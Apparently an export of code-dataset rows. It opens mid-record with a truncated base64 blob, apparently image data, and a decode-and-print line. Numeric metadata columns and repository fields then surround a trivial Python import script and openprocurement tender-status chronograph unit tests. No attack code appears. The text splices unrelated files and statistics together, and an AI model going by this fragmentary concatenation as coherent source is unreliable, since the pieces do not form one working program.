rRWum584aFpHg7xJrV58INJ+GKeG9Vmgaax1K8u3ubwyxDzAc8Iu4KRhRg5r778K6o/ibwLpOrMQZpLVFuBn7syjbIv4OGFfLnjj4aHVrjQ/FXh28e18QaDKlxHKnylwGyUz3/H3Hevfvhbqf2XV9Q0N0EVnq8Y1ayTP3WIUTIB2wShx6lq3wOOjiouMnaa3Rz4zDyw1Vct3B7M6O5uFso4fNbAeTYD6Ej/61XraYOxKuDjkn3rG8e6fNFoV1Nbk7rcrcKcf3WBP6ZqLw9rLTWqRJHwygs5657AV2S3Itpc8i/bj8EJ4y/Z91/wAuEyXGhmLVYdo6NGcP/wCOO9fknHIYXwSVZTX7qeI9JtvEXhy+0S+QSW+o2sltKpHVHUg/zr8VfGnhObw54r1fwtqUey50q9mtJD7o5Gf0zWU4cxtQnyMTRdedFC+Z04rttB1mGVlO4MQQCDXlzaXe2v723/eoBk461d07WTG6gtsccHPFeXXwrWqPoMLjYzVpPU9o1LQLHXrSRPK3h1yRjnNeLeKfC9/4euGJVmtixCSY5Hsa9I8KeMPsxUTv5i9MZrs7qw0jxVpsjsiZfjZ2Jrlo1qmGlpt2OrEYeGJjrv0Z8zAMCMJjPc80qqSxD5P412/i/wCH11okkktlG8tup5UfeT/EVx3lkcB/0r2qVWNZXieBWpToS5ZoQDoAMCngDFRkyrwVB+lI03UAfhW2xla42cDuKr9DxTmdm602oepaVjqvh/PIuuRkhio64r6E8iHUNOEYjAKjqBXz/wDD6VrPUzLNA2yQbVYocZ9Aa918OXTXVuEVwAV4BHavKxcf3h9Bl/vUT2qMJZpCYnAKEA5HNekeFpfts8CFQy8E4rzTU3VPmYdCFI9K9G+GdpcNPh1+4QVI9K9WCs7I8BrQ9hs7ZUt1Eb7Dt4B6NWdYv/xMpIXXaw7dq24ED2eSvK981z0Mwj14xSD73IzXfayRgtWa19BHJAW4JX5Sp7isHW7w3XhTUdOmJMlvGWTPVl7GuivFO1l2kZH5Vx/iK4aPTbtZCRPFGxRlPEidx/n0pSVtRI7e2uDJotjMCBuhTn8BVHSroLrrRSMWG3IGaradfGfwnZyIcgQIR+VY2l6kx8UJGxxlMdfepvZITWrPQGvgs5ThQeOla9nmaAAdq47UrpYJs9c9Tmuh8N6n5toqg85p3M2tDzn9qDwzH4o+CfiTT1G6e0t/t0WOTuiO8/8AjoYV8W/DzxNrGh/AvW9W8GR2Vrruja5D9qvRZRSXJtJ0KqFd1LLiRO396v0U1uyi1G1u9PugDBdwvC69cqwII/I1+f37PmmRaH8aPEfwo1yLzLbUFubJ4pBkNNbSebE2P+2Z/OlJ2WhKT1R618L/AIX+MPEXh9Na+LPiLU9Ymv2SdbK8uGeOAAfKME9cHkDjtXUabqHwrtPGr/DMRWsWsLAkqwvCArAgnYp7tjnHofrS+L/jxpngHxZbeDNS8JatOs8KSRXVmok3A/3Y+pwQQec189fFzwX401H4wz+PPDLpDDO1te2s00wikQhF48s/PkEdNtea6PtJuc+ok4vc+ivGnwA+GniqJjqGh28E7jYJ7cCKQH1yOp+ua+L/AIzfBrWPhbrX2G5zPp13uazuv74/ut6MOMivpDUn8U/Er4h6BPea89npulzW8kFhFEY90wwXdhIULZOQCA2BjjrXpXxx+H1v498GXmiyRJ9pRfOtJWH3JlHy/n0PsaOZULXenUmE3CV0fIPwi/ZX8eeOLq1fU57bR9Kugri4lbexQ8gqo/qa+wPDX7E3wo8EtZ6t9ju9Z1K0ZZkmu5Mx7x0Plj5SM84Oaq/Aa8m1P4P6PNPG66ho5k0+dMco0LlefwAr3/wdrcfiHTDbsx86IYPOaKCnUlzTfyRvVn/KfP8A45+BXwz1zUpvEus+CY7q9VSZfswKNNj2DAFvryagj/ZY+ENwpVfDUCh1OBuYkH6k9a9w12xjS7ZkGSPvcHFeU/Ev40+DfhJJaxeKpLuN78M1qtvbl9xXG4Fs4HUfnWeOwkptVIN/JsdKo1ofJWt/BKLSfjZL4Vs5PJsbaSG7SMKWBiLEkA5/2CPxr7H0DWtOl8PW2lZ33EI8oBjjJ6nPpXx58SP2iNH1P4qW3jPw7pE1v5Fm1tJ9q2/vOcjAXOO/516b8Kbn4tfGuOXX/Dul2Gi6NA4SW+nLv5jjqI1G3cQOp4AryMxy7GY10+R6R89b/wDDHdh6+HpL95H3n18vvPb7+5gsGaa8vVi2IQqpjaMep6kVh+Gvjd4Zl1izlsNUEsnh/UYYp5E+55M+4MM9wAJDxxnb7UnxR8P6ZoXwJ8WR6mzT3/2DebyQ7XMiMCAnoCRjA655zXx58M7yXOq6es2JdW0u5jRAfuvEvnx49TvhA+hPrXXl+UyoVfb1H73l/Wosbi41aXsad7d3+i6H6x6yY9R0e7t2IPmQOvT1U1xfha1n/s6GYkxxqAMsMDHt61j/AA48cSeLPhF4f8Sebma80yPzSxyfNC7X/wDHlNcv8P8A4h3d4sWnancsQp2qrHge1e29GebBNp2PYBcZhbbkknHPYCvyx/bR8NXHhj9oLXbloytvrKQ6hA2MBgyBX/8AH0av1BWQlC65IJzxXyL/AMFBvhfda74S0b4kWMa79AdoL0AfN9nlZdp/4C2P++6bQR0Z8V6PCJ4Cu0ZAyOKq674XimAnhBVz/EBU2hzqVKs+Ctbdxcx/Z1yA3b9K0UE1qNSaloebwXuoaXcNE4P7sjPp7V2fhnx69syJK2AvIGe9Zv8Awjlx4i1Q2thdxQEqSWkztIyOP1rptF/Z28VarFPNZa7pjtEmYxuYLI393cQAP1rzcThqbdj1cNjZwWuqO307xFpPiCBY59m9wc5PcVyniT4aWWpSNPprLBITnK9D9RXH6tpHjX4e3q2niDSrmzYN8jsMxye6OMq34Gun8O+O4pmihuGKtuXk9Md68+VOdF80D1oVaOJjyv7jB0/4SeJtR1qHSDd2Nmkxx9quZdkS/U4zmvWdN/Y3uVdJtc8bRvbNgs9jalhjuQxP9KhfULS8yFwc/dxzXZ+B/idrHhFk064JvdKLZMLucr67T2+hrWGNk9JnLWy3TmpfcclqvwE+GOi74Uh8RXhjODcTArGffCqvH4153d6Ho+l37LomkosURyJJ4X3ZHu3Svs258VfD/wAV6RLPb6lDbwQpukie4IlUe6Mpzz6Zr5f+JbQ6lfSDRoGhs0Py5ADSe5x/KtWpVPei9DisqfuyWpn3/id/EOgnSf7PiWS3ZZYZgfm3r2+hGR+NQWGq3f8AZVnqOkpJJLbylZ40ySEI9B6GsnR3eCTay4xXSeELW20q8lmAlSV7gyIwYbNhPTH41hPzO3A4n2bkntufRGub5WhhCgSs/Ir2D4T+f9naF3BeIgxsR95T2rzHRbYa54uhsJXGfLdkbGMmvXfhtC2n3FzZ3MeQHx05B/wr2KSvO55stI2Z6MriOMl2KA8H0rldXV4NYgmzj5sK46V2ctpC8H7vDDHNchrqSIpXaT5TBgD6V3SWhzx3OmmfzbdPNwHK5DdjXFeOLWVdLlmCncqEggda7GykttQ0WNt+MLg57VzevRO+jXlnctuBiby5F57dKT2DZlbwpfCXwZacg7YAuPoK5gaiYvE8bg84AyTjNWvAdwJvCSoHJCxn8wf/AK1crqt0Y9XWXpgjkVi9h2tI9V1e4eS0WXfjAOdv0q/4F1VnjaNSMiuWtNQjutJkUYJCgjnPaovA+pNbasbfcFBzweabdmmTa+h65O+TnO4t2r4u8XaQng39tbTdXKmKHVl+3KeisTCyP+qk/jX2RaSqyncQGHc9a+Yv2v7SPw/4i8E/EkhiNOupbKdgvZ13J+HDfnRVvyPl3M46M9f1LQ9O1UzWlycSIzKkikggHtxjI9jx7GuLuPhL4h1K/m0+y1OxtbCWMrEyRt5ofsWQERMMZyCveqEXxcspbDRtat5D5Gr2SyI3HLodjg9ecj9auRfEu+i1GK4gdQqsrHcxYn2HavIqYqFN2kYyUbnW+EPhBD4K1O41hbqa5a4kLBSQkUS5yFRFAGPfGa0viC9/DpbS2mmTyKByypuUD1OOn4121lqcOu6VBqFs4kgnQOCD+n4dKfYXSQSNbzrhX9ea654WFeF09ynG6sj897658UzeI/FOh6N4k1LT7edjfi3t7h0RmcfM2FOM5Br0j9jjWfE/h7Xdfj13XLy6h3QLGLiZnA5fcRknFfQ/xC+B/g3xi1xq1lYppmtSwNDHfWyYJB/voOGGfXnrzXy/4Gt9f+EHxU1nwr8UtVsrO1n07z7C+eVY4JxHIPus2MHDHIPIxTp0JU2le6Q4X2Z926nFDqdkt7AQwdM8dM18b/tzWFkPBWi310wWW11Xy0YDkK8Tk/qq/lXqvhb9qf4SaZbS6ReeMrW8kVGMcNmGmd8DJwVG0cDqTXjXx1u/iL8cbfw/NoXwP1Sfw7bX51EPcX0cX26MKVUMP4Ac56kkfnXQ3eNhxjyvU87+DP7NWmfE2RPF/iCa5i0KFFMcKja16/Tg9kGOSOvQV9reExZ+F9DtfD9jaQW1pZoI4Yo0CqqjsAK+b7/x7+0Bo2kIG8K+B/BdlbKsaS3+obhGoGAFCtjp2xXBa98ZdSeKR/EXx/2MMq8Hh/S+WPospGB9f1rnpxlCXNJmjWlj1/8AbP8AiFaaD8Mj4fhnRrzXbpIwgPIhQh3b6ZCj8a+MPhlrzWnj7w7NNIfKGpW6SrngxtIFcf8AfJNbXifwprWveGL3x1r3iHVbiQMrafbX8xnmaFmAG9j0Y5BAArn/AAv4U1bTNf0HUdajisoXvY59krASmGM+Y77eoAVT1x2p+0UmbRirWPvL9mzWPsPwYudKubkOmi6xfWJJPQCTd/7Ma7W18OeGZoY7y1iuYpD86tC4GD+NfNn7P/i7UZ/hrqV35YWDVfFk0zbhkYaNT+OSCPwNfWPhtnOmwybIwWUHiBM/yrRNN6mXLynT6FqDmzElyGwAFjDclyO59h/hXgX7bfxX8P8AhX4Nan4VnlS41jxNstLW3BBMUYcO8reg+UgepPsa7v4lfFjRfh3p7TXlwLjVJkItbMvl2P8Aeb+6g/8A1V+fPxn1PVPGsuoatq90097K5uN2cgkdh6DHAFc1bFRpSUerOrD4GdWLqbJHk2m37xtneVOecVptqkkkZVSc5/SuYgZhyWP4Va+1bImUS4bHeulVLI55QJrbWrixvnlQ5Cdj3rtNC+Ies2xjId3UHewdztH4CuN0HQ7nWdRWJf8AVn5pJD0A6nNev+C/DWnxxSvaQRmJ5BapPIclzn5mHb0A+hrkqy5mbxVkdBpnxZs9Xt/sXiXTbC709Bho5oS4AP14rD1D4ffDXxhO954X1I+HpSdwR5PMt/yOGX8CcelejwfBTSPEkYtdFu0WaMfvflz8w6knpXJeJfg94m0qQ22mRW15CnLMsgGSOvArkfNE0i7annNzpXirwXcpNeYubRZMLcwkvEwz69vocV0jeLY7yNGESIWGOKpT6jqmkJNo7wNDHnbMrDKv6jB61yN352n3KzWzboCeO+PY1jKClrY9TC43XkmeirNE4WTIG7uPWnm3W6GyV3ZScHJ6VyVvqReNZoZO3zp/WtjT76e5dRFk9N5HOB9KyXNDZnpyhTqL3lcsT+G47S4E8NwXRuqkcirv2EOgMJZXAq1PHIbZhGC9wiZiVjjefQGue0rx1ah3tp0CTq+wwyDaQemM100aqkrVEeZicvtK9L7j6o+HNg+reILq6gk2z2qh4vfnpXuOhJHcCPUIkKzgbZQPUdQa8l+C+n+dJd3qkhwuRjqRnkV61YQ/Z5jNE4yeSvrXs4ZXjc8epdaHbK0U1oJVjOQMNt61yuvCRD5yYkC8Ed8e9dDp0yz25CEAkVj6qWDMzRk7uMjvXY9jBKw7w7crNZTQ7cFecA1z/iG5a2tLiS3uZPlVt6H6frVzSbhbG6y6N5bcZx0zWd46NvHpV9ceYQVhZmB4GMdanoJ73ON+GN68/h8pvyCZMD0+Y1j64/8ApJcYyp61D8K9RSPw5CA/3w7Dn1YmodYkBmfLZAPBrF/CXb3jp9B1bbblWYEMMcU601GS11tZkGF3giuU0m7WGRQG4J6Vcku384TDqGqL6FWPe9I1bzcM2WOBn0rzj9qbw6niv4Oa7DEm+exjW/iOM4aI5P8A47uFaPhrWy0KLI43YGAK6jUY7fW9GudNu0DRXcLwvk/wspB/nWlzGSsfAGgeI71/ghNcxDzJvCmsLuUNytvdL/LzI/8Ax6maH49+JXjTUItE8D6K9zeMgISNC5UA/eYnAUe54rU+BfhK4v8Ax34w+F2p2sz2N/bTWlzIqErHLBKJELdh9xgPrX1P4U8P+CvhhozW2j2dvYRSndNMy/NK3qzdT+PA7YrjxEKfNdxuTOMebmaE/Zstfiz4Vtr7TPiXrunXFtcgSW8ETb5baTuMqoXaR2HcfWu2+Ini/wAQaBpkmpeEfCj+IbqIFjAJ/IYj2JU5PtxXkWu/E9NG8cWkA1FHtZvKTy0bPmK5ILjHof5Gu68KeP8AVfFs2pWcNkLTT7crFb3Mi4aVsndx6YA7d6mjX+yTe7uchD4g/at+KcDRldI+G+j7T507uHudvc5ySD/3x9a4a58F/s36X4hg0rxD4p1X4m+Lbtyrf6Q0kSvjJyVO3AweCzH2qj8SPBOg6X4iuJvi9+0Dq0ek3Uzz22kwFy3l7jhAAWBA6Z210/wg8XfDyPxBZ6B8C/greXcTOUuvEmoRHMa4OSHbJ5PbK9eldrk1BtDtqbml+DNG8NX0Op+HvhVpOnFT+7drdBJj64z+tevi8bxJ4ZeXxTrcWl27xiApE4RlZuBtwepOBjmuM8deBPGd9qg1fUPGV7FpNyPs9zp9pGvyKVILhj+HQZHXNYGjeDPBPgCyT7XqVze2zzCaJ7y8ModwR8wxwcYz0xmvMfNFe0qTd0r20X3rc0cr+7CNj5+8XaZ4F8NS6trPhL4f+IPFkGkv5c2s+JpXFrHMWxwjYDnP8JwfasnSPGPh/wAbaVHo/ipNH0uZ9ys32TZBt55BAOzAwOBngde30l+15ZN43+Edve+Eb9GstMn+33MEONsi4xnjupJP518x+Bf2e/iT4weBzpiafZSYP2q6kCrtPdQMs35Yrb29KcXaWq39SWml7xy3jPxP57/2JoEt9qVx5oSGTB8snoNicljnp0+lTaV8GfGUvg7V/E2vzf2ddSyLBi4fEnkBGdwFHQkhBg44z619iT/DXwX8E/htHr+pWP2qXTocPqbW2WUtgYQDO3c2PqTya+UviN8T9Q8QeEL3WtMhMVtDrKQvCzZYJJC2xj25KNWV5uVqa07suMm1oem/FrQ9H+DPwZ8JaX4Y1qZLzVfs19EgwGQiLdI/HXLSY/GvL4/2ivjZJbLYDx/fwWygLiEJG2P95VB/WtT9pSz167TwL4t+0G50a98P2tpbBfuwyxoN6n3OQfw9q8xstMnlUPMOOwqMTUcJ6Ox7mApwlSXMrs6I+JdX1m5e4ubq5vLiQ5eaaQu7n1LE5qS7sBdJuu7oI5B+UDIqO3NvZxquVUEgc9jT2zOrZQHHQg15c58zueso2R41rtidH1S4tScqr5T3B6VQuLaeNk8wENIoYD0BrtvHumZuLTUZYz5YcJIT3Gf/ANdYXiWJY9QWSN1eKSMMmD0HpXrUq3PBHgV8N7Nzl2f5lrw9fSQ2s2j2ysZrpgEI6rxzXrFnBcafo2mRyN5SQHIjwcnpj+teb/DeGH+2DqNyPlh+VDjPzH/61eleHLmLVtbV9SnZxGWkSPHCqBUTlZnMtT134Z+Jr7SbS2SOKOM6jcbS0hGMMCcn17fnXrfjfSvEd34UMHg2Cwub+YYuPLKRymI9RHnq35V832vii5bVYNQeBEtlLJDGw27gMD8K92+GXxA8LXMUt/Pa3C3HmhFDkyZbOAF7DoKiMtbEpOJ8/wCu+BbzdLDPBIJ1yZIZEKTIf9pG5/HpXk/ibw/qekFnjVmi7gjpX6Mal4U0Hxsn27xLA/lxHcklziNoweyOuCv4V4/4++Cb3ZmfT5rXU7LnaPNCzovb58AOfZh/wKt+ZSXvBHTY+HbXWZrWYOpCMp6EZBr0DVrlrHR9K1/SnRPPyku3puxnB/Wq/jv4V3Gg3TTnzIo2YgJPGYpAfoeCPcEiqnhQR2zvoHiJ9unXQIErZIibsw/HFYVKSlaSPVwleV3BvfY6TRddv9fs5LW3QSXUS7lRzgkjtmsTWLGw1u6VZraW11SM4bPysfY+tZdraar4UvZNRsrx9R2TEGSEFgyg9celaWuXB1R5PG2miUzLGqzQI3IYYG8j0x1H/wBeoVJwlodccRzw1V7br9T76+HOiNpMRZXLRyHcjp2z2r0SG1KsJoR5q916YrN8NaMlraxiJioxjA/wrpUtLhF3KiufYda96jHkjY+bm7sbaPPayCVLZyv8Qz2qTVIfNga6hjZkIyy5zipY7xo8CVChHbGRVhJ7PJcS+WX+8AOPyrczZzMQgK+fBc+Yo4eNh8y1yfxTubWDwbqdzLfQJ5drIQS2DjbmvRLlCJC8a2soPUlcZrwj9qjxFLoXwv1cRJbxy3oWziES8lpGC9foSal6LUW7OX+Ht6IPClkA3P2WNjn1IBqbUL6F2ba/zH1NcjoesJZaDbwbx+7iVMfQAU2XVDKpwo5HBzXK5aG/LqdHbahtkB3Eg+nNaQ1JXHzce1cPaagzKD5gyD2PStSKea4iLJyy8HBqLjsek+HNZMUioXBA7GvRdJ1gYCgl24GD0r5ztdentJQrsVZTxXb+HvHsMZCXDkH1rSMu5Eo3OIsdKuPD/wC2HNBBI8Vpq8Lag6I2FbdHzkdD84Ne3eI9A0vxBZXegavHut3OCc4246EGuI1q70aLx/o/jKUK081jNpyS9drblkGPqA9ek3Elhq8WxkO28hwzKfm5GDj0Nc9ZKTZhON9zxLW/DukeHr+PTm1y3eONMw+VEWbOeE25AB56g/gK7fwL4livILSx0TRrlrVIi8t044Z/U+hOPyxViXw54D8Lo098YJZF3sZLwhgpbrhDhV9OB0xXG+Kf2h/Cnh/TLmy8OXEdxf7CkWyEtGh6Z4wDj0zXHFXfu7mMdGQftAeGD4h8OtqtvPbW+q6MxvLKabZtDD7yHdwQR2PGQK5b9nP9pH4jaxrEmha5d6ZNaWtsHQLapE5IYD+DAxjPavD/ABr461XxPcSXGr3U907k/PPJnb7Ko+VR9BR8Mfg78S/Hkp1bwdpUq2sTGM3jyeTED3UMTyfXGa6Y0qk4OEZWb69jpja15I/RG81HV/HmljTIrkW0c+DIYo/mKgg8EnA9Poa818QaT4F8H2iW2p3kbGAN5STyGRyT12oO5wOgrQ1CLxJpOgfDt9R1G502/t7qDSNTeydXOJk8stkgg/OqHJHG6sPSPCkfw41r4n+Ob2xOq3OhlDoy3RMrASJv3knnOWAJ9A3rXDVyerWSVWu/O2lx+2hF6RKEHiKXxr8OfHOjLot/pyabYs9mZ4WgM3yF8hSBx8hH41q/s+2tvafCjR18T+JorXWfEy3CeG7a5YhSUPyA885OODjhgBTvgl4r8VfFHQ9YXxZHbvNiRCYYljARhgKQPY9/Q1x+s+ANR+Mfg/wK3gDxDZWN/wCDV+wTwzylDBKmwMcjJDK0WeRyCDXoUMDh6NJU4R0/XzMnVVa7PXtX07wD8YHu01X4g6/bx31vFpd94dtrny47OdTgq6BTht47nBx3FfLfjv4Jaf4A1DVdEtdSm1LT3H2O/WULuGXGyZVXn5G2t06Z55Ne+/EL446F4Audc034fw6VrWveYLi8UIcxXxQIW4GGPyZxnqcV8mjVPGc+qn4jXGuvLdXaS307Sn5WkD/NEV6EHPT0+laVZuOqex3YHBSxLdr2Svp92vkfS+rfDHTtb+AjwWzCWzi04X1uhO5rW8gT51B+qsp9jXyY0xKxGFeB29a+kPDfxTufBngPxR4dv0JttQ8Lvf227ny7gSNbYBP95fKJ9wfWvmmC8j8lQepXJPeuHHJPllE9PL4VKTnTqbplnbNcPsKqcj7p61djgMYIKMvGRmqtg7SukjjIB446iumMIMJ+TcpGeleTJ2PYSTRwHjO1a70mZGTJA3A57jnpXkzFnPDk7egJr3TWrLzYHTb8hBA5rxGe1Zb2S2jUl0cjA74NehgZXTR42ZQs1I7vwqi2ejRSuv71pC5zwcEcfpXReF7prHWnuZX/ANdlUOegNcNpnjGfTrVbK5tlnVRhW6Mv+NdV4Z1KwniN8+XbcFQN1U55/lSqRkm2zhjy2Or+3Xeoy2YaTbHHMxywxkE11/h7xSLWf7JYyRwQ204VnJICKOWc1wBuJpt1wxKIsrKN3ZRxx+NZ2q38l40Xh/TI5ZLjUZwhEXLFO/Hv/Q1nFOUkkVypn0Xrn7Ulx/ZskHgeysb5bLPmy6gSxbaByi+nI5rmj8V/jh498PJqGgXUvnPNseysLLYGTPZ8fmQaueAfgT4D8GaafFfxSv4o0UiRLV3G1B2BHc/X8q2vGX7Tg8H2yaV4D8JJZ2rLthvJYwqvjpgfe/PBrviltFXOimoytGlG/m/yOF1T9nj40+PLqG8uNLuoYHw00OoXxZC3qOuK07H9mXUfD6yP4y8W6Jb2eOLa4n+ZT7SdvxBrlvFXxi+JSazCdd8U3t5Bcod1vbyGHY2OnB7EjrVrwn8PvGfjrXJrmTQtV1DTZ4iIpNRc70Dc5AbJ69D+tapO1ynSUo883pbp/wAHqctrvh7TfDGuSWWi63FKi/Mjbg0bj2cfKa2PDOkyC9fVYF+xTSrslCBWjmB74r0fS/2UfFo0t7DxR4psdO053JSFgHdVBz8rHGD+Fa+vfDT4Q/DPw5JJp3xLSK9jXJhnlEyu2P7n3h/wGk1FmWsJXoO7P//Z' print(base64.urlsafe_b64decode(string.encode('UTF-8')))

6,343.8

31,647

0.964658

1,099

31,719

27.840764

0.966333

0

0.170377

0.000221

31,719

4

31,648

7,929.75

0.794463

0

0.333333

0.997541

0.997383

0

1

0

1

0

false

0

0.333333

0

0.333333

0

1

null

0

1

0

1

null

1

0

1

0

9

2de4a46676e25a9898bcbb5e3491dd6ab8e021ee

78

py

Python

pacote_python/novo_pacote.py

Mlluiz39/bootcamp_igti

44b2b4322eaf8693f5575f8c27776c0256c86e60

[ "MIT" ]

null

pacote_python/novo_pacote.py

Mlluiz39/bootcamp_igti

44b2b4322eaf8693f5575f8c27776c0256c86e60

[ "MIT" ]

null

pacote_python/novo_pacote.py

Mlluiz39/bootcamp_igti

44b2b4322eaf8693f5575f8c27776c0256c86e60

[ "MIT" ]

null

import pacotes_em_python, pacotes_python pacotes_em_python() pacotes_python()

19.5

40

0.871795

11

78

5.636364

0.363636

0.629032

0.483871

0.709677

0.903226

0

0.064103

78

4

41

19.5

0.849315

0

1

0

true

0

0.333333

0

0.333333

0

1

0

null

1

0

1

0

null

0

1

0

1

0

8

2dfd70b552bd900ef08bd015efcaa02d1facaf54

15,576

py

Python

src/openprocurement/api/tests/chronograph.py

Leits/openprocurement.api

9c7cac2f29343d8f184d89551bf0461302b304c8

[ "Apache-2.0" ]

null

src/openprocurement/api/tests/chronograph.py

Leits/openprocurement.api

9c7cac2f29343d8f184d89551bf0461302b304c8

[ "Apache-2.0" ]

2

2021-03-26T00:34:47.000Z

2022-03-21T22:20:52.000Z

src/openprocurement/api/tests/chronograph.py

leits/openprocurement.api

9c7cac2f29343d8f184d89551bf0461302b304c8

[ "Apache-2.0" ]

1

2017-08-14T08:05:31.000Z

# -*- coding: utf-8 -*- import unittest from openprocurement.api.tests.base import BaseTenderWebTest, test_lots, test_bids class TenderSwitchTenderingResourceTest(BaseTenderWebTest): def test_switch_to_tendering_by_enquiryPeriod_endDate(self): self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/tenders/{}'.format(self.tender_id), {'data': {'id': self.tender_id}}) self.assertEqual(response.status, '200 OK') self.assertNotEqual(response.json['data']["status"], "active.tendering") self.set_status('active.tendering', {'status': 'active.enquiries', "tenderPeriod": {"startDate": None}}) response = self.app.patch_json('/tenders/{}'.format(self.tender_id), {'data': {'id': self.tender_id}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.json['data']["status"], "active.tendering") def test_switch_to_tendering_by_tenderPeriod_startDate(self): self.set_status('active.tendering', {'status': 'active.enquiries', "tenderPeriod": {}}) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/tenders/{}'.format(self.tender_id), {'data': {'id': self.tender_id}}) self.assertEqual(response.status, '200 OK') self.assertNotEqual(response.json['data']["status"], "active.tendering") self.set_status('active.tendering', {'status': self.initial_status, "enquiryPeriod": {}}) response = self.app.patch_json('/tenders/{}'.format(self.tender_id), {'data': {'id': self.tender_id}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.json['data']["status"], "active.tendering") class TenderSwitchQualificationResourceTest(BaseTenderWebTest): initial_status = 'active.tendering' initial_bids = test_bids[:1] def test_switch_to_qualification(self): response = self.set_status('active.auction', {'status': self.initial_status}) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/tenders/{}'.format(self.tender_id), {'data': {'id': self.tender_id}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']["status"], "active.qualification") self.assertEqual(len(response.json['data']["awards"]), 1) class TenderSwitchAuctionResourceTest(BaseTenderWebTest): initial_status = 'active.tendering' initial_bids = test_bids def test_switch_to_auction(self): response = self.set_status('active.auction', {'status': self.initial_status}) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/tenders/{}'.format(self.tender_id), {'data': {'id': self.tender_id}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']["status"], "active.auction") class TenderSwitchUnsuccessfulResourceTest(BaseTenderWebTest): initial_status = 'active.tendering' def test_switch_to_unsuccessful(self): response = self.set_status('active.auction', {'status': self.initial_status}) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/tenders/{}'.format(self.tender_id), {'data': {'id': self.tender_id}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']["status"], "unsuccessful") class TenderLotSwitchQualificationResourceTest(BaseTenderWebTest): initial_status = 'active.tendering' initial_lots = test_lots initial_bids = test_bids[:1] def test_switch_to_qualification(self): response = self.set_status('active.auction', {'status': self.initial_status}) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/tenders/{}'.format(self.tender_id), {'data': {'id': self.tender_id}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']["status"], "active.qualification") self.assertEqual(len(response.json['data']["awards"]), 1) class TenderLotSwitchAuctionResourceTest(BaseTenderWebTest): initial_status = 'active.tendering' initial_lots = test_lots initial_bids = test_bids def test_switch_to_auction(self): response = self.set_status('active.auction', {'status': self.initial_status}) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/tenders/{}'.format(self.tender_id), {'data': {'id': self.tender_id}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']["status"], "active.auction") class TenderLotSwitchUnsuccessfulResourceTest(BaseTenderWebTest): initial_status = 'active.tendering' initial_lots = test_lots def test_switch_to_unsuccessful(self): response = self.set_status('active.auction', {'status': self.initial_status}) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/tenders/{}'.format(self.tender_id), {'data': {'id': self.tender_id}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']["status"], "unsuccessful") self.assertEqual(set([i['status'] for i in response.json['data']["lots"]]), set(["unsuccessful"])) class TenderAuctionPeriodResourceTest(BaseTenderWebTest): initial_status = 'active.tendering' def test_set_auction_period(self): self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/tenders/{}'.format(self.tender_id), {'data': {"auctionPeriod": {"startDate": "9999-01-01T00:00:00+00:00"}}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.json['data']['auctionPeriod']['startDate'], '9999-01-01T00:00:00+00:00') response = self.app.patch_json('/tenders/{}'.format(self.tender_id), {'data': {"auctionPeriod": {"startDate": None}}}) self.assertEqual(response.status, '200 OK') self.assertNotIn('auctionPeriod', response.json['data']) class TenderLotAuctionPeriodResourceTest(BaseTenderWebTest): initial_status = 'active.tendering' initial_lots = test_lots def test_set_auction_period(self): self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/tenders/{}'.format(self.tender_id), {'data': {"lots": [{"auctionPeriod": {"startDate": "9999-01-01T00:00:00+00:00"}}]}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.json['data']["lots"][0]['auctionPeriod']['startDate'], '9999-01-01T00:00:00+00:00') response = self.app.patch_json('/tenders/{}'.format(self.tender_id), {'data': {"lots": [{"auctionPeriod": {"startDate": None}}]}}) self.assertEqual(response.status, '200 OK') self.assertNotIn('auctionPeriod', response.json['data']["lots"][0]) class TenderComplaintSwitchResourceTest(BaseTenderWebTest): def test_switch_to_pending(self): response = self.app.post_json('/tenders/{}/complaints'.format(self.tender_id), {'data': { 'title': 'complaint title', 'description': 'complaint description', 'author': self.initial_data["procuringEntity"], 'status': 'claim' }}) self.assertEqual(response.status, '201 Created') self.assertEqual(response.json['data']['status'], 'claim') tender = self.db.get(self.tender_id) tender['complaints'][0]['dateSubmitted'] = '2014-01-01' self.db.save(tender) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/tenders/{}'.format(self.tender_id), {'data': {'id': self.tender_id}}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.json['data']["complaints"][0]['status'], 'pending') def test_switch_to_complaint(self): for status in ['invalid', 'resolved', 'declined']: self.app.authorization = ('Basic', ('token', '')) response = self.app.post_json('/tenders/{}/complaints'.format(self.tender_id), {'data': { 'title': 'complaint title', 'description': 'complaint description', 'author': self.initial_data["procuringEntity"], 'status': 'claim' }}) self.assertEqual(response.status, '201 Created') self.assertEqual(response.json['data']['status'], 'claim') complaint = response.json['data'] response = self.app.patch_json('/tenders/{}/complaints/{}?acc_token={}'.format(self.tender_id, complaint['id'], self.tender_token), {"data": { "status": "answered", "resolutionType": status }}) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data']["status"], "answered") self.assertEqual(response.json['data']["resolutionType"], status) tender = self.db.get(self.tender_id) tender['complaints'][-1]['dateAnswered'] = '2014-01-01' self.db.save(tender) self.app.authorization = ('Basic', ('chronograph', '')) response = self.app.patch_json('/tenders/{}'.format(self.tender_id), {'data': {'id': self.tender_id}}) self.assertEqual(response.status, '200 OK') 